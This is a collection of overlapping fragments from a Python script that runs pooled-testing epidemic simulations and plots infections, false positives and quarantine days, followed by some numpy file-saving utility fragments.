\"3d\"}) surf", "def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model def get_policy(example_path):", ": osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted') return interactions_files_list, events_files_list def get_model(example_path):", "contain interactions and event details for a time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='':", "policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1,", "get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1)", "World import importlib.util import os.path as osp import policy_generator as pg import matplotlib.pyplot", "data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X,", "files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events", "interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def", "return model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn", "= plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents", "# User Model model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90", "import pickle import World import importlib.util import os.path as osp import policy_generator as", "np def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return", ": osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='': print('No Event files", "locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename,", "Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes", "= ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of", "details for a time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files uploaded!')", "import sys import ReadFile import pickle import World import importlib.util import os.path as", "else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a", "i in range(napt_max): for j in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1)", "config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading", "per agent\") plt.title(\"Pool testing strategies vs total quarantine\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() ###############################################################################################", "world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf =", "agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model", "importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path(): return sys.argv[1] def", "import cm from matplotlib.ticker import LinearLocator import numpy as np def module_from_file(module_name, file_path):", "Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename,", "events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model =", "X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for j", "np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for j in range(ntpa_max):", "return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): # File Names locations_filename=None", "import os.path as osp import policy_generator as pg import matplotlib.pyplot as plt from", "config_filename = get_config_path(example_path) # Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename,", "events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model def", "def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list)", "Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No", "Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total", "infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X,", "file names which contain interactions and event details for a time step interactions_files_list=None", "testing strategies vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\":", "= get_config_path(example_path) # Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename", "shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']),", "return config_filepath def get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\":", "Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No", "if config_obj.events_files_list=='': print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list))", "importlib.util import os.path as osp import policy_generator as pg import matplotlib.pyplot as plt", "Model model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6", "config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User", "of testtubes per agent\") plt.title(\"Pool testing strategies vs total false positives\") fig.colorbar(surf, shrink=0.5,", "as pg import matplotlib.pyplot as plt from matplotlib import cm from matplotlib.ticker import", "file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path(): return sys.argv[1] def get_config_path(path):", "get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests =", "return policy_list, event_restriction_fn if __name__==\"__main__\": example_path = get_example_path() config_filename = get_config_path(example_path) # Read", "uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted')", "# policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1,", "ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max):", "= 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y)", "\"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per", "def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module", "os.path as osp import policy_generator as pg import matplotlib.pyplot as plt from matplotlib", "\"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\")", "file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list =", "policy_list, event_restriction_fn if __name__==\"__main__\": example_path = get_example_path() config_filename = get_config_path(example_path) # Read Config", "UserModel.UserModel() return model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list,", "= get_example_path() config_filename = get_config_path(example_path) # Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename,", "as np def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module)", "agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename", "get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list)", "fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number", "time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda", "vs total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"})", "pg import matplotlib.pyplot as plt from matplotlib import cm from matplotlib.ticker import LinearLocator", "matplotlib.pyplot as plt from matplotlib import cm from matplotlib.ticker import LinearLocator import numpy", "napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for", "osp import policy_generator as pg import matplotlib.pyplot as plt from matplotlib import cm", "testing strategies vs total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax =", "LinearLocator import numpy as np def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module", "total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax =", "ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X) print(Y)", "print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for j in range(ntpa_max): policy_list, event_restriction_fn", "ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes", "in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days,", "Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\")", "for a time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else:", "plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total false positives\") fig.colorbar(surf,", "= plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of", "interactions/events) that contain file names which contain interactions and event details for a", "module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def", "get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\": example_path", "import numpy as np def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module =", "__name__==\"__main__\": example_path = get_example_path() config_filename = get_config_path(example_path) # Read Config file using ReadFile.ReadConfiguration", "as plt from matplotlib import cm from matplotlib.ticker import LinearLocator import numpy as", "events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file (for interactions/events) that contain", "########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y", "osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\": example_path = get_example_path() config_filename =", "np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\")", "interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path)", "plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per", "= ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number", "= importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return", "agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file (for interactions/events)", "vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf", "inputted') if config_obj.events_files_list=='': print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x)", "event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1)", "= module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\": example_path = get_example_path()", "policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\": example_path = get_example_path() config_filename = get_config_path(example_path)", "names which contain interactions and event details for a time step interactions_files_list=None events_files_list=None", "ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number", "total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax", "and event details for a time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction", "interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file (for interactions/events) that", "print('No Events inputted') return interactions_files_list, events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model", "strategies vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"})", "testtubes per agent\") plt.title(\"Pool testing strategies vs total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5)", "plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False)", "import ReadFile import pickle import World import importlib.util import os.path as osp import", "a time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename)", "(for interactions/events) that contain file names which contain interactions and event details for", "= module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\",", "interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='':", "print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0,", "agent\") plt.title(\"Pool testing strategies vs total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig,", "Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in", "for j in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection,", "per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total quarantine\")", "# Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj)", "contain file names which contain interactions and event details for a time step", "= UserModel.UserModel() return model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return", "print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]:", "X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))}", "aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0,", "surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number", "if __name__==\"__main__\": example_path = get_example_path() config_filename = get_config_path(example_path) # Read Config file using", "Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False", "testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total infections\") fig.colorbar(surf,", "wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\":", "if config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list))", "config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if", "agent\") plt.title(\"Pool testing strategies vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax", "sys import ReadFile import pickle import World import importlib.util import os.path as osp", "spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path(): return", "module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\": example_path = get_example_path() config_filename", "Interactions inputted') if config_obj.events_files_list=='': print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x :" ]
[]
[ "= -1 with open(fname) as f: for i, l in enumerate(f, 1): pass", "= 'DataCentric1' __pass__ = 1 __fail__ = 0 # Returns number of lines", "from .npy file to csv file. TODO - Doublce check fn def save_npy_array_to_csv(npy_fname,", "__pass__ = 1 __fail__ = 0 # Returns number of lines in a", "for i, l in enumerate(f, 1): pass return i # Save numpy array", "return i # Save numpy array from .npy file to txt file def", "check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row, index_col = temp_array.shape print", "a file in a memory / time efficient way def file_len(fname): i =", "numpy array from .npy file to csv file. TODO - Doublce check fn", "file in a memory / time efficient way def file_len(fname): i = -1", "-1 with open(fname) as f: for i, l in enumerate(f, 1): pass return", "= temp_array.shape print index_row print index_col f = open(csv_fname, 'w') for i in", "def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ # Save numpy array from", "f: for i, l in enumerate(f, 1): pass return i # Save numpy", "np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ # Save numpy array from .npy file to", "import numpy as np ######################################################################################################### __author__ = 'DataCentric1' __pass__ = 1 __fail__ =", "used often # ######################################################################################################### import numpy as np ######################################################################################################### __author__ = 'DataCentric1' __pass__", "0 # Returns number of lines in a file in a memory /", "file. TODO - Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row,", "l in enumerate(f, 1): pass return i # Save numpy array from .npy", "i, l in enumerate(f, 1): pass return i # Save numpy array from", "file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ # Save numpy array", "1 __fail__ = 0 # Returns number of lines in a file in", "np.load(npy_fname) index_row, index_col = temp_array.shape print index_row print index_col f = open(csv_fname, 'w')", "txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ # Save numpy array from .npy file", "return __pass__ # Save numpy array from .npy file to csv file. TODO", "index_row, index_col = temp_array.shape print index_row print index_col f = open(csv_fname, 'w') for", "= 1 __fail__ = 0 # Returns number of lines in a file", "Returns number of lines in a file in a memory / time efficient", "index_row print index_col f = open(csv_fname, 'w') for i in range(index_row): f.write(temp_array[i, 0])", "csv file. TODO - Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname)", "number of lines in a file in a memory / time efficient way", "time efficient way def file_len(fname): i = -1 with open(fname) as f: for", "with open(fname) as f: for i, l in enumerate(f, 1): pass return i", "file to txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ #", "i = -1 with open(fname) as f: for i, l in enumerate(f, 1):", "temp_array = np.load(npy_fname) index_row, index_col = temp_array.shape print index_row print index_col f =", "fmt='%s') return __pass__ # Save numpy array from .npy file to csv file.", "array from .npy file to csv file. TODO - Doublce check fn def", "__author__ = 'DataCentric1' __pass__ = 1 __fail__ = 0 # Returns number of", "Collection of support functions that'll be used often # ######################################################################################################### import numpy as", "Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row, index_col = temp_array.shape", "file_len(fname): i = -1 with open(fname) as f: for i, l in enumerate(f,", "array from .npy file to txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s')", "memory / time efficient way def file_len(fname): i = -1 with open(fname) as", "numpy as np ######################################################################################################### __author__ = 'DataCentric1' __pass__ = 1 __fail__ = 0", "1): pass return i # Save numpy array from .npy file to txt", "open(csv_fname, 'w') for i in range(index_row): f.write(temp_array[i, 0]) f.write(\",\") f.write(temp_array[i, 1]) f.write(\"\\n\") f.close()", "print index_row print index_col f = open(csv_fname, 'w') for i in range(index_row): f.write(temp_array[i,", "= 0 # Returns number of lines in a file in a memory", "file to csv file. TODO - Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array", "often # ######################################################################################################### import numpy as np ######################################################################################################### __author__ = 'DataCentric1' __pass__ =", ".npy file to csv file. TODO - Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname):", "# Returns number of lines in a file in a memory / time", "in enumerate(f, 1): pass return i # Save numpy array from .npy file", "- Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row, index_col =", "######################################################################################################### __author__ = 'DataCentric1' __pass__ = 1 __fail__ = 0 # Returns number", "i # Save numpy array from .npy file to txt file def save_npy_array_to_txt(npy_fname,", "efficient way def file_len(fname): i = -1 with open(fname) as f: for i,", "open(fname) as f: for i, l in enumerate(f, 1): pass return i #", "save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ # Save numpy array from .npy", "fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row, index_col = temp_array.shape print index_row", "def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row, index_col = temp_array.shape print index_row print", "from .npy file to txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, 